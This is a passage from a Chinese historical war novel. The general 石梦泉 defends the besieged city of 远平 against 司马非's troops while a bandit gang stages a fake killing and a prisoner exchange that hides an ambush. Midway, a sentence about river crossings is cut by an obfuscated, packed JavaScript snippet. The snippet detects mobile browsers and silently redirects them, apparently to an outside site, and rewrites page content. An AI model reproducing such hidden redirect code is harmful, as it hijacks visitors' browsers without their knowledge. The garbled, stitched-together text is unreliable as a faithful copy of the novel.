“怕最少有五万人吧。”石梦泉喃喃,转向罗满,“假如我们同敌军兵力对等,你说这场仗应该怎么打?” 罗满道:“兵法上不是说,‘十则围之,五则攻之,倍则分之,敌则能战之’?倘若我军与敌军相当,应该设法一战。” 石梦泉笑了笑:“五万人对五万人,在这样豆腐干大小的地方打起来,那还有什么战术可言?跟市井流氓在酒馆里打架也差不多了。” 罗满一愕,也笑:“可不是!” 石梦泉道:“当日我带人攻进这城时二十人一字排开,列为四百人方阵前进。楚军这样一排排地列队到山下,就好像布起了层层防线,每一道防线都有四百人。假如我们派一支一千人的队伍夜袭击……” 罗满两眼立时一亮:“将军打算采取突破战,打他们一个措手不及?” “不。”石梦泉摇摇头,“我不打突破战。孤军到此已是我们的极限,突破出去无非是陷得更深而已。况且,楚军叫嚣着有十万人,如果是真的,四百人一道的防线便能有两百五十道,一道防线被突破之后,未被消灭的敌军就立刻汇入第二道,我们怎么可能打得赢?” “那将军的意思……”罗满有点儿糊涂了。 “我们打歼灭战。”石梦泉道,“你立刻点一千名擅长近身战斗的兵士趁着黑暗出城去,以半个时辰为限制,将距离我们最近的楚军歼灭——能消灭多少就消灭多少。不管成绩如何,时限一到,立刻回城来。” 既可灭敌,又可扰敌,还可让司马非猜测不出樾军到底还有多少战斗力——真是一举数得的好计!罗满大喜,道:“遵命,末将一定打个漂亮的歼灭站给将军看!” 石梦泉微微含笑:大概谁也不会知道,这一战略正是方才那场梦——是他和玉旒云在东河战场上偷学来的呀!待归朝之时跟玉旒云说起,她一定也会记起当初吧…… 司马非佯做暴躁,当然是为了引樾军出城。半天下来竟徒然无功,他不禁既恼火,又对石梦泉生出些佩服:这年轻人,倒沉得住气! 夜深之后,正与王谭正在帐中商量下一步的对策,忽就听到北面传来扰攘之声。快步出去一看,只见火光闪动,人影乱蹿,根本看不清是何究竟。但心中也猜到大概:这小子,终究忍不住来了么?到底还是年轻历练少啊!当下吩咐左右,让樾军尽量朝山下突围,诱他们深入,再从两侧朝后包抄,将他们消灭。 左右得令而去。司马非就亲率中路士兵朝后撤退,打开一个缺口让樾军进来。 他们直退了大约了一里地,按计划,左路和右路应该各朝两边散去,使队伍成为一个长形的口袋才是。可不知怎么的,左右两路反而朝中央靠拢。司马非不断地退,左右两边就不断地补上来。他不禁恼火道:“难道听不明白命令么?”便叫亲随士兵去看个究竟。 那士兵去了多时才回来,报道:“将军,樾军看突围不成,已经全数撤回城中去了。” 司马非眉头一皱:“什么?” 士兵道:“樾军跟我军短兵相接了不到半个时辰,就朝后撤退。我军本来想追进城去,但是他们从城上放箭掩护,我军被挡住了。” 司马非道:“我不是吩咐引他们进来吗?怎么会都挤在城下打?” 士兵道:“樾军好像慌乱得很,急着突围,连阵形都没有,冲上来就乱杀一气。前面的将士按将军的意思给他们从中间让路,但他们就像看不到似的,竟和朝两边让开的人交手——将士们一旦朝两边分开,兵力也就分散了,占不了上风,所以中路的往后撤,左右的只好不断补上来,集中兵力跟他们打。这才把他们逼了回去。不过我军死伤了总有五六百士兵。” 司马非紧皱着眉头,跟王谭交换了一个眼色:玉旒云麾下竟有这样的将领?领兵的常识之一就是己方跟敌方的接触点越小,越容易打开缺口,所以突围时常用楔形或纺锤形队列。如此乱成一团打下来,这叫什么战术? 王谭一时也想不出解释:樾军主将若不是洞察先机的天才,那就是个罕见的草包——后者的可能性小些。楚军当步步注意,留心提防。他即向司马非道:“到了这时,再揣测也无用。将军请吩咐料理善后。同时加强巡逻防守。” 司马非点头同意,让亲随照办。又道:“虽然揣测是无用,但是你看樾军大概有多少人在城中?” 王谭想了想,道:“看我方伤亡,方才出城的樾军总有千八百人吧。能派出这么多人突围,樾军人数似乎该与我军相当。不过,远平城里根本容纳不下五万驻军,且樾军若真有五万,早该长驱直入杀入我国南方,何必龟缩在远平等咱们来打?况且不是说玉旈云总共就只有三万人么?这里应该是她的先头部队,我想远平是玉旒云的先头部队,而刘子飞和吕异还没有来支援。由此算来,至多三万人——不错,至多三万,所以他们才故意派出如许多人来假装突围,想虚张声势。” 三万人,司马非想,远平天下雄关,三千人就足够抗拒一切来自大青河的攻击,三万人也该足够守住鹿鸣山中的城关。若不能引得对方指挥失误,很难取胜。 王谭明白他的心意,道:“我军人多势众,敌军势单力孤,此时要引得他们出来,恐怕光辱骂激将都是不成的。我军得示弱才行。” 司马非道:“我假装是卤莽匹夫,他们倒也不上当。” 王谭道:“光是将军假扮莽夫恐怕还是不成。我军数倍于樾人,他们出来迎战只有送命的份。只有让樾人以为他们有得胜的把握,才可能把他们骗出城来歼灭。” 司马非以为有理,不过,要怎样示弱才行? 王谭显然也还没有头绪:“这……” 两人正说到这里,忽有士兵来报:“将军,有几个怪模怪样的人闯到了营中说要见您——他们自称是程大人派来的,可是……” 话还未说完,就听一人咋咋呼呼道:“哪儿来这么写罗嗦的规矩?老子有程大人的兵符在手,还不能见一见你家将军?老子是来帮他的,你们敢挡老子的道儿?”声音渐近了,几个士兵阻拦不住,一个粗豪汉子大踏步地走到了司马非的跟前:“你就是将军么?在下邱震霆,杀鹿帮帮主,是程大人让俺在此地阻击樾人的。”说时,递上程亦风的兵符。 司马非当然知道那兵符不假,但听到“杀鹿帮”三个字,立刻就想起冷千山的遭遇:好个程亦风,竟和山贼混成一家,还派他们来阻击玉旒云,简直就没把我们这些将军放在眼里! 邱震霆本来也没打算跟司马非套交情,他怎么看自己,才不必在乎。只道:“俺和俺的弟兄们跟樾人打了好几个回合了,城里的状况清楚得很……” “什么?”司马非大惊,“你们已经打了好几个回合?” 邱震霆满不以为然,道:“怎么?有什么好大惊小怪的?”就把前面如何用鹿群、毒烟、泻药整治樾军的事大略说了。 司马非和王谭不由得大惊:公孙天成讲到挫败玉旒云的阴谋时那一副胸有成竹的模样,原来竟是使用山贼?虽然有伤大雅,不过楚军未费一兵一卒就将敌人折腾得不得安身,这也不可不谓高明。 “城里情形究竟如何?”王谭问。 “樾贼来的时候大约有一万五千来人,现在应该还有一万两三千吧?”邱震霆道,“不过这其中还有多少人身子康健就难说了。他们那姓石的将军就病得厉害。” “石梦泉病得厉害?”司马非和王谭早先根本看不出来。 邱震霆道:“他中了咱们的毒烟,然后就一病不起,后来还装死引咱们进城去……” “装死?”王谭道,“那你们怎么知道他不是装病?” 邱震霆道:“说来话就长了,不过咱们俘虏了他几个手下。他这家伙再怎么英明神武,他手下的人可不会都跟他一样。咱们绿林中人要叫人开口,法子还多得是!” “英明神武?”王谭玩味着这个词。 邱震霆眼一翻:“怎么?俺这人说话不喜欢拐弯抹角,一就是一,二就是二。姓石的这个将军有本事,俺佩服,能跟他做对手是俺的福气。俺不会因为在他手里吃了亏,就骂他是草包窝囊废——他比起你们那个冷千山,不知强出千倍万倍去!” 从交手的情形来看,王谭和司马非都知道这是句实话。 邱震霆道:“俺还有一位结拜的好弟兄陷在城里。你们要是有什么取胜的计策,俺和弟兄们愿意打头阵。” “取胜的计策……”王谭望了望夜色中的远平城:一个“病得厉害”的将军还保持着如此清醒的头脑,且亲自上城来鼓励士卒迷惑敌人,装得如此从容镇定……亲信已是如此,玉旒云若来了,不知会如何? 玉旒云…… “邱壮士,”王谭道,“你们可知樾军是从何处进入我境?” “从白鹿峰的悬崖。”邱震霆将上面的铁索桥描述了一番,“俺和弟兄们曾想去把这桥破坏了,叫樾人有来无回。不过对面有樾军把守,很难动手。而且樾人造桥的本领真他妈的厉害,俺们压根儿就不知道他们怎么把钢钉打进石头里去的,想敲想砸都不知道怎么下手,就像老虎要吃王八,不知从哪里下嘴。” 王谭听他这比喻,禁不住一笑。 司马非道:“要找什么下手的地方?叫人带点火油硝粉上去炸个干净,玉旒云就过不来了。” 王谭道:“这是自然。不过那桥本来就走不了多少人,玉旒云要是从那里来救援,大军岂不是要走上几天几夜?况且咱们知道了铁索桥的所在,只要在路上把守的,正是一夫当关万夫莫开,只用弓箭手,就已经可叫玉旒云来多少死多少了。这个女人不是傻瓜,应该不会走那条路。我们迟些再去料理那铁索桥也不妨事。” 司马非道:“她不走那里,走……” “大青河!”王谭蹲下来,用树枝在地上画着,“他们兵行险着从悬崖上架桥过来乃是因为从飞龙峡无法渡河。即使从上游或下游过来,临河一面的远平城关又易守难攻。如今樾军已占远平城,情形就大大不同了。” “果然!”司马非也意识到问题严重,“玉旒云过了河来,这姓石的小子就打开远平的城门迎接她……他娘的!” “所以当务之急是阻断玉旒云的来路。”王谭在图中远平的上游和下游各划了几道,“这几处都是较易渡河的地方,不过因为在鹿鸣山的重山峻岭之中,从未有敌人翻山攻来的,所以我方并未有城关驻军。将军应该立刻派军绕路抢先到达这几处,把守河滩,让玉旒云无法过河。” 司马非看了看那几个地点,共有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728599|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四处,即使每处只派五千人,那么他围攻远平的兵力也会立刻削弱四成。而每处只派五千人的话,玉旒云如果集中兵力于一处渡河,就相当于把我军分散了敌人打,哪有胜算呢? 王谭看出他的顾虑,道:“将军每处至少要派一万人。这些抢渡地点相互临近,很容易互相支援,与玉旒云交战起来,并不会造成敌我悬殊之状。” 司马非道:“那怎么成?那我岂不是只剩了一万人在远平跟那姓石的周旋?” 王谭笑了笑:“将军,方才不是说要向樾军示弱么?” “示……”司马非心里电光火石般一闪:对呀! 邱震霆却还不太明白他们的计划:“你们到底是个什么打算?有什么要俺和俺弟兄帮忙的么?” 王谭道:“邱壮士方才讲有位结拜兄弟还陷在城中?” “不错,”邱震霆回答,“就是我山寨五当家,诨号辣仙姑的,也是我三弟的发妻。” 王谭点头道:“好。这事真要仰仗邱壮士了。”当下把计划说了一番。 岑远得知自己有手下跟着罗满参加夜袭,心里很不痛快——论起军阶品级来,他是总兵是二品,罗满是副将,是正二品,怎么说也应该是罗满听他的号令才是。之前石梦泉公然无视他,把远平交给赵酋这个小小的四品督尉负责,这简直就是对他和对他叔父岑广的侮辱!如今罗满又不经他同意就带着他的手下去打仗,怎不叫人气闷?最关键的是,他自认武功和谋略都不在罗满之下,为什么石梦泉不把这立功的机会给自己? 从前听刘子飞、吕异等人讥笑玉旈云,骂她靠裙带关系得势因此任人唯亲,如今看来,石梦泉也是一路货色——无非他和罗满情谊深些,自然把好差使都派给罗满了。心中越来越不服,气得忍不住狠狠在城墙上砸了一拳。 便这时候,听城下楚军中有动静——看了看,是司马非策马上来,又开始叫战了。“兀那樾国将领,缩头乌龟,快快出来跟老夫大战三百回合!” 叫骂的内容跟前日没什么分别。岑远心里正烦乱,暗骂道:“老不死,你道爷爷真不敢跟你三百个回合?就怕还没到三个回合你那老骨头就散架了!可惜一则石将军不准出战,二则你有几万大军做后盾,我才不去送死!” 想着,便转过头去不看城外。但是,没过多久,只听一人喝道:“老家伙,有胆先跟老子大战三百回合再说!”岑远一讶,扭身去看,只见邱震霆端着金背大砍刀,气势汹汹跃到了司马非跟前,“唰”地一下,直朝马腿斩了过去。 众人不觉大惊,瞪直了眼睛。 司马非年纪虽大,马上功夫却不含糊,缰绳一拽,骏马抬起前蹄,就闪过了邱震庭的一击。跟着他自己也跳下马来,喝道:“你是什么人,胆敢暗算老夫?” 邱震霆道:“少废话。你是程亦风的手下,竟然不认识老子?程亦风诓得俺们兄弟为他卖命,现在俺山寨的五当家被樾人掳去了,生死不明,你们怎生交代?” 司马非啐道:“什么污七八糟的?老夫乃楚国破虏将军司马非,不晓得你是哪个。你若跟程亦风有什么交易,就找他去——那小子做事颠三倒四,他拉的屎凭什么叫老夫来给他擦屁股?” 邱震霆道:“俺管你是什么破鹿将军还是破驴子将军,反正你是朝廷的人,就和程亦风是一伙儿的。你们害得俺损兵折将,若是不还俺一个活生生的把兄弟来,俺跟你们没完!”说话间,大刀“唰唰”朝司马非连砍。 司马非左闪右避,怒骂道:“你究竟是个什么玩意儿?你的把兄弟是叫樾贼抓了去,你该找他们算帐才对,怎么到老夫军中无理取闹?” 邱震霆不再答他,只将手中大刀舞出万道金光,把对手笼罩其中。司马非见多说无益,也就沉着应战,关公刀舞得虎虎生风。一时间,你攻我守,你推我档,在远平城下闪转腾挪,掀起走石飞沙,直看得所有人眼花缭乱。 其实他二人不过是按照王谭的计策在做戏而已,但都使出了浑身解数,仿佛真的生死相搏一般,别说城上的岑远等人信以为真,就连阵前的许多楚军也道真是半路杀出了程咬金来,持着兵器意欲上前援手主将。只是,两人斗得“难解难分”,外人根本插不进手去。大约打了百来个回合,只听邱震霆断喝一声,举刀猛砍,司马非忙横过关公刀来防守,却不想邱震霆那一招原是虚招,手腕一缩一送,化砍为刺,刀身顷刻没入司马非的胸中。 在场的人无不被这突如其来的状况惊呆了,鲜血从司马非的胸口飞射出来,他的人仰天倒下。楚军士兵急急抢上来抬他,又乱七八糟地呼道:“将军!抓住那个凶徒!”一队人马自混乱中冲出,拥上去将邱震霆围住,未费多少周章,就将他押下了。乱哄哄的人潮往后退去,只剩下地上一滩触目的鲜血。 这简直是老天赐给樾军的转机啊!岑远的心兴奋地跳动着。“你们好生看着!”他吩咐城上的守军,“我去见了石将军就来!” 于是快步冲下城去,直奔游击将军府。 石梦泉和罗满正商议事,见他这样急匆匆跑来,忙问有何紧急情况。岑远掩饰不住内心的欢喜,将邱震霆跟司马非相斗的消息约略说了一回:“看样子司马非伤得严重,也不晓得还有没有治。邱震霆被押下了,即使不就地格杀,就没什么好下场。看的那伙山贼手下肯定跟楚军没完。” 石梦泉同罗满对视了一眼,微微皱起了眉头:“邱震霆草莽英雄既然肯为程亦风涉险与我周旋许久,没道理突然调过头去把矛头对着自己人……” “也许他是想杀了司马非向咱们示好,让咱们放了那个女贼?”岑远猜测。 石梦泉摇摇头:“他肯以寡敌众跟我军纠缠多日,显然是为了对程亦风一诺千金。似他这种江湖中人把义气看得比性命还重。自己的结拜弟兄固然不能丢下,而对他人的承诺也不可轻易打破……这时候他应该和司马非联手才对……” 岑远道:“可是,山贼们效忠的是程亦风。程亦风落雁谷之后从一介幕僚跃升为兵部尚书,这些老将们对他颇有不服,程亦风跟他们的关系肯定好不到哪儿去。邱震霆去找司马非的麻烦也不是什么怪事。” “这……”石梦泉想起玉旈云几次接到细作汇报,都说冷千山老将们和程亦风关系恶劣,并不见提司马非,何况邱震霆不像是个反复之人。“那你想怎样?”他问。 岑远道:“趁着敌军混乱,我率领前锋营冲出去,将他们再消灭一批,或许能突破……” “突破出去有何用?”石梦泉打断他,“难道以我们不足两万人要这样深入楚国南方么?” “我们……”岑远似乎欲言又止。 石梦泉接着道:“况且敌人最少有五万之众,我们根本不可能突破的。即使像昨夜那样打些扰敌的歼灭战……” 岑远期待下文,期待石梦泉哪怕派自己去打一场歼灭战。 而石梦泉说道:“已经使用过一次偷袭的战略,敌人应该不会再松懈防备了。为了减少我军的伤亡,不能再冒险出城去。” 岑远心中不免万分失望。 “你再看看情形吧。”石梦泉道,“至少要等到天黑之后,我再来决定。” “是。”岑远回答得有气无力,退出去了。 罗满看着他的背影,不无担心地道:“将军,你看他会不会……” “他已经违背过一次军令了,我训斥过他,应该不会有第二次。再说,现在他的人马都是你和赵督尉带领。”石梦泉道,“倒是你布置炸药的事,还得加紧才行。我怕司马非和邱震霆联起手来,情况有变,就难以应付了。” “是。”罗满应道,也出去了。 石梦泉便一个人在房内推敲地图——在引得楚军入城、炸毁远平城后,他要从大青河的什么地方撤退回北方比较迅速安全?飞龙峡上游二十里水势已经相对平缓,但万一程亦风从平崖派人由河滩上狙击,难免要打一场硬仗;下游三十里处也可以渡过,但河水较深,水势也比上游急。樾军此来没有船只,无论走上游还是下游,都需要就地占领楚国渔港商阜,抢民船为军用。民船轻小,樾军又不习水战,也许还是较合适在上游的水中航行吧? 想了许久,也没有最终定下来。看看到了黄昏时分,岑远又来了:“将军,司马非好像死了!” “什么?”石梦泉一讶。 岑远道:“是被邱震霆伤得太重,不治而亡。楚军已经全面撤退。” 竟有这种事?老天爷要真给樾军这样一个机会,也好得太令人难以置信了。石梦泉当然不信。“我去城上看看。” 当下,两人一齐匆匆赶到了城上,看落日的余晖之中山道上的楚军果然已经撤走了大半,帐篷,锅灶,丢得到处都去,一副溃败之相。 一支部队即使失了主帅还有副帅在,哪里就能崩散至此?石梦泉吩咐亲随:“望远镜给我。” 从镜筒里朝外看去,山道上绵延一支队伍大概只有两三万人,军旗委顿,士卒颓丧,一步一拖,很是狼狈。 五万人就在这两三个时辰之间撤得只剩这些?石梦泉心中疑窦顿生:没有可能!即使主帅阵亡,副帅决定撤军,军中上下难免也要有番争论,便是楚军中奉行“一言堂”,也没有撤得如此迅速的道理。除非是前一天夜里就开始行动了……前一天夜里为何要撤退?只可能是设局引我军上当! 想到这里,他不禁微微一笑,将望远镜交回亲随,道:“好,他们撤他们的,咱们布置咱们的。大家不要放松警惕。”说时,就要下城去。 “将军!”岑远追上来,“难道你怀疑司马非这老家伙也玩装死?” 难道他不可以么?石梦泉没明说,但眼神中分明就是这个意思。 “可是这计策将军已经使过一次了呀!”岑远道,“假如司马非真的跟山贼们联手,山贼应该把咱们先前装死骗他们进城的事都说了。司马非不可能愚蠢到用咱们使过的计策来诓咱们。” 石梦泉望了望满天的彩霞:云霞的变幻非人所能预料,他人的心思也不是自己可以揣测。“司马非要不就是真的很愚蠢,使个相同的计策还指望咱们上钩。要不就是十分聪明,知道咱们使过这计策,却偏偏还要使,让咱们以为这此一定是真的。要不,就是他真的死了——但是这有什么分别?反正追击对咱们没有任何的好处。且依我看,他装死诱敌的可能性比较大,迟早还会再回来的。咱们还是布置了火药,以逸待劳地等他。” “可是将军……”岑远挡住了石梦泉的去路,“玉将军就率大军来了,咱们应该趁此机会重创楚军,然后更玉将军会合挥师南下。炸毁远平,除非咱们支持不到玉将军来。” “什么?”石梦泉一惊,“玉将军……玉将军要来?你怎么知道?” “我……”岑远犹豫了一下,单膝跪道,“将军恕罪,玉将军之前来了一封信,说她已经知道了远平的情况,担心你的身体支持不住,所以要来支援你。但是当时你正说要放弃远平撤回北方。卑职实在不忍看到大伙儿的牺牲付诸东流,也不能不战而降给家族蒙羞,所以……卑职想,如果玉将军带了援军前来,我军和楚军交战应该就有胜算。而她赶来了,将军你也就不会不战而退。所以卑职扣留了将军让送交玉将军的书信。玉将军的那封信,卑职也没有交给你。” “你……”石梦泉气得简直不知道说什么好——这就是说玉旈云还不知道刘子飞和吕异拒绝支援,那么她来了不是将更多的士兵代入险境吗?而更叫他感到歉疚的是,玉旈云之所以决定冒险,是因为知道自己病倒——不能为她分忧已经很过意不去,如今还要给她增添麻烦。因恼火道:“我之前不是严禁任何人吧我的病情报告给玉将军吗?你为何——” “不是卑职报告的。”军中上下都很少看到石梦泉发火,这位年轻的将军从一入军中起就是以脾气极好而著称的,这时因为病着,脸色苍白,动了怒就显出铁青的颜色,而两颊又被烧上一片潮红,反而显得那一向温和的眼睛出奇地寒冷。岑远不禁打了个冷战,语无伦次了起来:“卑职……卑职知道玉将军此次南征志在必得,假如将军炸毁远平城然后撤回北方,玉将军的心血便付诸东流,到时候她必然怪罪将军……所以,卑职没有把将军的计划向玉将军报告……卑职是想……也许远平还有转机……只要支撑到玉将军来,大破楚军,则将军立的就是大功一件……” “混帐!”石梦泉终于压制不住骂了出来,“恐怕是你想立大功一件吧?战场之上岂有为了个人功绩就不顾大局的?” 岑远答不出,或者不如说,心里即使有说辞也不敢讲出来。 “可恶!”石梦泉一掌拍在冰冷的城砖上,快步朝城下走,几步,又停住回过身来:“你还跪在那里干什么?跪着就能解决问题么?” “啊——是!”岑远一愕,连忙起身,跟着将军下城去。 19. 第 19 章 上至罗满、赵酋下至一般士兵,凡是听说岑远作为的,都觉得他这事办得可恶到了极点,阴沉着脸没有半点好颜色。石梦泉倒是很快就恢复常态——现在的情形,他既没有时间也没有精力来为一个人的失误费神。“如今已经出不了城了。”他道,“也不知玉将军的援军到了何处,楚军突然撤退,必有蹊跷,万不可大意。” 赵酋道:“既然玉将军要来,咱们还要不要布置火药炸掉远平城?” 石梦泉想了想,看了一眼面色焦虑不安的岑远,静静地道:“有一点岑总兵说的没错。炸毁远平,是我们支持不下去的最后一招。不过以我看,现在我们必须要出此招,而且要赶在玉将军来之前,引司马非的部队进城,能消灭多少就消灭多少。” 赵酋听他前半句话,以为他赞同自己的观点要尽量撑到玉旒云到来,不想后面话锋急转,忍不住道:“将军,难道我们不等玉将军来么?” 石梦泉叹了口气——这个人,如此贪功冒进,到了这时还不死心。他摇摇头:“程亦风守住了平崖城,司马非率了大军来到远平,我军的两个切入点都已失去。再说,刘将军和吕将军不能增援,我军兵力决不够攻打楚国,假如玉将军勉强从远平进入楚境,免不了要和楚军展开一场血战。我军将士勇猛自然不输楚人,但补给线拉得过长,恐怕难以取胜——就算是得了一时的胜利,代价也太大,且难以长久……” 在场的人并不是个个都能仔细体味这他这一番话,唯罗满明白——玉旈云希冀借助刘子飞和吕异的力量来达成目的,但是被两人摆了一道——其实她应该能料到,这两人和她交恶不是一天两天的事,怎么能够把一切都依托在这样的人身上?大青河就像是玉旈云的一场过于大胆的赌博。最后,石梦泉不得不采取这种消极战略的来收场。一场失败的战争,要在他的手里完结,朝堂上,对头们才无法用之来攻击玉旒云。他是把责任都揽上了身啊! 罗满觉得眼眶一阵发热。他垂首道:“卑职明白了,一定加紧部署,在今夜完成炸药埋伏。”说完,毕恭毕敬地退了出去。岑远也灰溜溜地离开。只剩赵酋还等着交代任务。就听石梦泉声音轻轻的,淡淡的,仿佛用尽了力气一般说:“山贼中被我军俘虏的那个女人,你去把她放了。” “放了?”赵酋一怔,“她嘴很硬,什么都没说……但是就这样放了……” “不是白白地放掉。”石梦泉道,“你把她押到城上去,要求交换俘虏。我看那群好汉们一定还潜伏在附近,看到自己的金兰弟兄一定会出来相救的……邱震霆说不定也会有所动作,我们就可以看看他究竟和司马非玩的什么把戏。” 不错,假如邱震霆没有真的杀死司马非,那么他也一定没有真的被囚禁……岑远因答道:“是。不过,把山贼们引出来了咱们要做什么?” “其一,当然是交换回落在他们中的兵士们。”石梦泉道,“我带了他们出来,只要有可能,就要带他们回去。”他顿了顿,“其二,我要你趁此机会把楚军引进城来。” 赵酋愣了愣:“怎么引?” 石梦泉笑了笑:“你是前锋营督尉,不必事无巨细都要我这个将军给你计划好吧?” “是!”赵酋早也等着一展身手的机会了,深深地行了个礼,退出房外。 一切计划都紧锣密鼓地进行着,大约到了午夜时分,罗满回说全城炸药已经埋伏妥当,只在临河的城门前设下机关,一旦点燃,整个远平城就会被炸上天。另一方面,赵酋已经把辣仙姑从牢里提了出来,又点了五百前锋营精锐做诱敌之用。石梦泉便让罗满从自己的部下中选出骁勇之人组成一支巷战队伍,待楚军进城之后假装抵抗,实际且战怯退,诱其深入。 “这些人最后才撤退,难免有危险。”他道,“所以十八岁以下的不选,是家中独子的不选——另外,叫伤兵现在就开始撤退。” 罗满应了,石梦泉又道:“还有,岑总兵是……岑家唯一的后人……也撤退吧。” “将军!”岑远道,“我不走。你给我一个将功赎罪的机会——” “留得青山在,不怕没柴烧。”石梦泉道,“你想要将功赎罪,将来机会多的是,今天就不必了。”说完,示意士兵们硬把岑远带了下去。 罗满吩咐左右道:“还不扶石将军撤退?” 那些亲随方要上前,石梦泉挥手止住:“哪有遇到险境将领先退的?你们各自去指挥将士们撤退,到大青河河滩上等候。我在机关处——罗副将、赵督尉,待你二人来同我会合,我就点燃炸药。” “将军!”在场所有人都不约而同地惊呼道。 “不用争了。”石梦泉道,“岂不知军令如山么?你们且照办吧!” 众人见他坚决,只好不再多说,但心里都暗暗想道:要想保得将军周全,唯有克尽职守,确保自己的那一份任务不出差错! 赵酋在天边刚露出一丝曙光的时候将辣仙姑押到了远平城楼上。远近的山林还不甚清楚。辣仙姑也意识也很模糊,伤痛和后来的拷问使她身体极度虚弱,不过这一向足智多谋的女人似乎是本能地感觉到事情有些不对了。 “杀鹿帮的人听着!”赵酋大声呼道,“将军念你们是山野草莽为人利用,不愿与你们继续纠缠,现命我将你们山寨的女当家开释,望你们以我军被俘将士交换。若有心领回你们这位女当家,速速现身!” 他喊了一遍,接着前锋营的诸人也都跟着喊了起来,其声震荡山林,更有回声震震,就是几里地之外有能听见。 辣仙姑渐渐地有些清醒了:什么?交换俘虏么?大哥统共才抓了几个樾军?虽然我们兄弟情深,他们必想尽办法要营救我,但樾军主将为什么要大费周章交换被俘的小卒?这其中必有阴谋! 她勉强睁开了眼睛,看城上集中了百多个利箭在弦的士兵,心中的第一反应就是:樾军以她为饵打算引了杀鹿帮全体好汉出来,就地射杀。不禁焦急万分,想要大声警告,可一则嘴被堵上了,二则没有力气,三则——估计她一出声也就丢了性命,这重努力最终只是徒然。 得想个其他的法子! 她的心思飞快地转动,可却连半点对策也想不出来。没得一顿饭的工夫,树林中有人走了出来,正是她的丈夫猴老三。 猴老三指着赵酋骂道:“亏你还生得人模人样,竟然欺负一个女子。快快放了她!” 赵酋冷冷一笑:“你放了俘虏去的我军士卒我自然放了这个女人。” 猴老三道:“你们的那些人咱们留着也就是浪费粮食而已。你放了我老婆,我自然叫兄弟们放了你的人。” “呵!”赵酋笑道,“这原来是你老婆么?生得倒还标志,难怪你舍不得。我现在奇货可居,该我提条件才是——你先放了我的人,我再放你老婆!” 猴老三没的被气个七窍生烟。辣仙姑也心里直骂丈夫是蠢材:这不明摆着把自己的弱点说给别人听么,让别人逮个正着!她且不知道樾军有什么阴谋,但她得尽自己的所能不让丈夫和帮中兄弟遇险。 她发出咿咿呀呀的声音吸引赵酋的注意。 赵酋果然瞥了她一眼,道:“你有什么话说?”便取下了她口中的布团。 辣仙姑道:“落在军爷你的手里,我杀鹿帮的人认栽了,只要能让我们夫妻团聚,我们哪敢跟军爷玩什么花样?军爷若是不放心,可以带一队人马,让我丈夫带路上咱落脚的地方去,在那里见了你的手下,再放小妇人不迟。” 赵酋嘿嘿笑着摇了摇头:“你们一时毒烟,一时毒药,一时又的梅花鹿跑来跑去,我带多少人也难保不被你们算计。你要是真的想跟你丈夫团聚就叫他带了我们的士兵到城下来交换,怎么样?” 辣仙姑被关得久了,知道牢里才三日,世上已三年,杀鹿帮和樾军之间究竟斗到了什么地步、什么结果,她不晓得,也就不敢乱拿主意。因此没有立刻回答。而赵酋本来也就没打算跟她多罗嗦,复又将她的嘴堵上了,对猴老三道:“怎样?这位英雄,赵某是对你们又敬又怕,才不敢行错半步。你们如果心里坦荡荡,就带上我的人到城下来交换你老婆。” 猴老三显然吃不准赵酋有什么诡计,不敢轻易回答。这时树林里又走出来一个人,是大嘴四,他朝着城上喊道:“这位军爷,不是咱们杀鹿帮的人不信你,而是咱们被当兵的整怕了——程亦风诓咱们替他打仗,如今搞得我山寨损兵折将,咱们大哥为了报仇,虽然宰了司马非这老东西,自己也被楚军抓了起来。咱正焦头烂额没主张,你突然说要交换俘虏,叫咱怎么不疑心?” 赵酋不必岑远,虽然性子里也有冲动的一面,但不会违抗石梦泉的军令。“将军要和你们交换俘虏,正是因为看中你们大当家义勇,杀了司马非。如今楚军溃退,解了我军围城之急。将军便打算不再计较你们先前的过失,愿意将你们的女当家放回。” 大嘴四露出了既惊讶又开心的神气:“果然如此,那我们杀鹿帮从此就是你们一路的了。军爷放心,我这就回去把那几位军爷也请出来。”说着,竟一拉猴老三,两人便回到树林里去了。 赵酋不知他们是真心还是假意,反正这次行动本身就被动得紧,他也就不去多考虑,耐心等着——万一那两人一去不回了,他就放弃俘虏,直接率领五百精兵追击楚人,引得敌人回头来。毕竟事情也有轻重缓急。 好在,未到一个时辰的工夫,猴老三和大嘴四果然回来了,这次还有管不着跟着,树林里一阵好大的响动,被俘的樾军总共十来个人,被绳子串成一串走了出来,后面跟着杀鹿帮的其他弟兄们,以及仿佛被请来保驾一般的一大群梅花鹿。 大嘴四道:“军爷,你要的人咱已带来了。要怎么个交换法?总不能叫咱们把人给你抛上去吧?” 赵酋一笑,暗想:这些山贼,毕竟还是不信我。但是赶了一群梅花鹿来,我就怕了么?况又有人质在我手里,定然不敢弄毒烟之类的伎俩。因道:“自然是我下城去——叫你们的梅花鹿们退后些,带我的士兵上前来,我就这交还你们的女当家。” 大嘴四抱了抱拳,表示答应。猴老三就回身打了个呼哨,梅花鹿们便向林子边退了丈许,但依旧逡巡不走。管不着自领了那队樾兵走到圈子中央来,表示恭候赵酋下城。 赵酋又自一笑,吩咐左右:“警醒些,有什么状况立刻通知罗副将。”说罢,押着辣仙姑下得城楼来——辣仙姑这时才见整装待发的五百名前锋营精锐,不由倒吸一口凉气,以为赵酋是要将杀鹿帮赶尽杀绝了,奋力地挣扎着,想要摆脱掌握,向城外的弟兄通报。 不过这终究是徒劳。赵酋指着中路的一百兵士,示意他们跟自己来,余下的左右各两路人马原地待命,若杀鹿帮人玩花招,或者楚军突然出现,则立刻杀出城来。各百夫长都明白了,赵酋就命打开城门——外面的火炭早在夜袭时就被清扫干净,天光一线,泻进了城门洞里,越变越宽,终于展开成整个白亮的世界。 这时,赵酋发现情形不对——梅花鹿群的后方,树林里竟赫然是楚军士兵。方才居高临下,因为有茂密的树冠遮挡,竟然看不见!他这才恍悟杀鹿帮人赶来鹿群的原因——大部队在树林中行动难免有响动,梅花鹿一掩饰,就把人骗过去了。 